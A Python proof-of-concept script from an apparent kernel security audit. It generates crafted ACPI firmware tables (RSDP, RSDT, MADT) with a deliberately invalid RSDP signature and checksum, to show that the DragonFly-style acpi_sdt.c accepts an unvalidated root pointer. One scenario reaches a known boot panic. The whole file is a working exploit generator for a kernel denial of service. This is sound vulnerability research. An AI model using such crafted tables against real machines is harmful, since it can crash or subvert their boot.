DF-5588 / gen_rsdp_inject.py
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 | #!/usr/bin/env python3 """ gen_rsdp_inject.py -- DF-5588 pass-2 PoC: the kenv RSDP acceptance probe for sys/platform/pc64/acpica/acpi_sdt.c. sdt_probe() (acpi_sdt.c:71-77) accepts hint.acpi.0.rsdp UNVALIDATED: no "RSD PTR " signature check, no checksum, no Length/Revision sanity, no address sanity. The 36 bytes at the hinted physical address are consumed directly as an ACPI_TABLE_RSDP (acpi_sdt.c:109-115) and the firmware-table walk (sdt_search_rsdt/xsdt) is pointed wherever those bytes say. This builder emits RSDP->RSDT->MADT chains in which the RSDP signature (and v1 checksum) are deliberately INVALID, to prove acceptance: valid_control proper "RSD PTR " RSDP + control MADT (BSP+2AP+IOAPIC) -> baseline: rig works, kernel boots on crafted tables nosig_control INVALID signature (0xdeadbeefdeadbeef), WRONG checksum + same control MADT -> if the kernel still comes up on the crafted 3-CPU MADT, the RSDP was accepted with zero validation (acpi_sdt.c:71-77 is the only gate) nosig_bsp_omit INVALID signature + DF-5430's bsp_omit MADT -> the proven madt_lapic_pass2 KKASSERT(arg.bsp_found) boot panic becomes reachable through a completely invalid root pointer: the whole crafted-table family (DF-5430..5433, DF-5583) hangs off this acceptance. Blob layout (relative to the planted base, default 0x40000000): +0x0000 RSDP (rev 0 -> RSDT path; RsdtPhysicalAddress = base+0x100) +0x0100 RSDT (1 entry -> MADT at base+0x200) +0x0200 MADT (LocalApicAddress = 0xFEE00000 real KVM LAPIC) """ import struct import sys BASE = 0x40000000 RSDP_OFF, RSDT_OFF, MADT_OFF = 0x0, 0x100, 0x200 # struct acpi_table_header: sig[4] len u8 rev u8 cks oem[6] oemtbl[8] rev u32 # compiler[4] rev u32 == 36 bytes def sdth(sig, length, rev): h = bytearray(36) h[0:4] = sig struct.pack_into('<I', h, 4, length) h[8] = rev h[9] = 0 # checksum patched by caller h[10:16] = b'DFBSD ' h[17:21] = b'P558' # OEM table id marker for the crafted chain struct.pack_into('<I', h, 21, 1) h[25:29] = b'IACT' struct.pack_into('<I', h, 29, 1) return h def lapic(pid, apic_id, enabled=True): return struct.pack('<BBBBI', 0, 8, pid, apic_id, 1 if enabled else 0) def ioapic(apic_id, addr, gsi_base): return struct.pack('<BBBBII', 1, 12, apic_id, 0, addr, gsi_base) def csum(b): return (-sum(b)) & 0xFF def build(scenario): if scenario.endswith('control'): entries = lapic(0, 0) + lapic(1, 1) + lapic(2, 2) # BSP + 2 APs entries += ioapic(0, 0xFEC00000, 0) # real QEMU IOAPIC elif scenario.endswith('bsp_omit'): # enabled non-BSP CPUs only; KVM hardware BSP APIC id is 0 entries = lapic(1, 1) + lapic(2, 2) else: raise SystemExit('unknown scenario ' + scenario) madt_len = 44 + len(entries) madt = sdth(b'APIC', madt_len, 3) + bytearray(8) struct.pack_into('<I', madt, 36, 0xFEE00000) # Local Apic Address struct.pack_into('<I', madt, 40, 1) # PCAT_COMPAT flags madt += entries madt[9] = csum(madt) rsdt_len = 36 + 4 rsdt = sdth(b'RSDT', rsdt_len, 1) + bytearray(4) struct.pack_into('<I', rsdt, 36, BASE + MADT_OFF) rsdt[9] = csum(rsdt) # ---- the RSDP under test -------------------------------------------- if scenario.startswith('valid'): sig = b'RSD PTR ' # genuine 8-byte signature v1cks = 0 # DF-1114: never checked anyway elif scenario.startswith('nosig'): sig = b'\xde\xad\xbe\xef\xde\xad\xbe\xef' # INVALID signature v1cks = 0xAA # deliberately WRONG checksum else: raise SystemExit('unknown scenario ' + scenario) rsdp = bytearray(24) rsdp[0:8] = sig rsdp[8] = v1cks rsdp[9:15] = b'X5588 ' # garbage OEM id rsdp[15] = 0 # Revision 0 -> RSDT path (acpi_sdt.c:109-111) struct.pack_into('<I', rsdp, 16, BASE + RSDT_OFF) struct.pack_into('<I', rsdp, 20, 20) blob = bytearray(0x300) blob[RSDP_OFF:RSDP_OFF + len(rsdp)] = rsdp blob[RSDT_OFF:RSDT_OFF + len(rsdt)] = rsdt blob[MADT_OFF:MADT_OFF + len(madt)] = madt return bytes(blob) if __name__ == '__main__': scen, out = sys.argv[1], sys.argv[2] data = build(scen) with open(out, 'wb') as f: f.write(data) sys.stderr.write('%s: %d bytes -> %s\n' % (scen, len(data), out)) |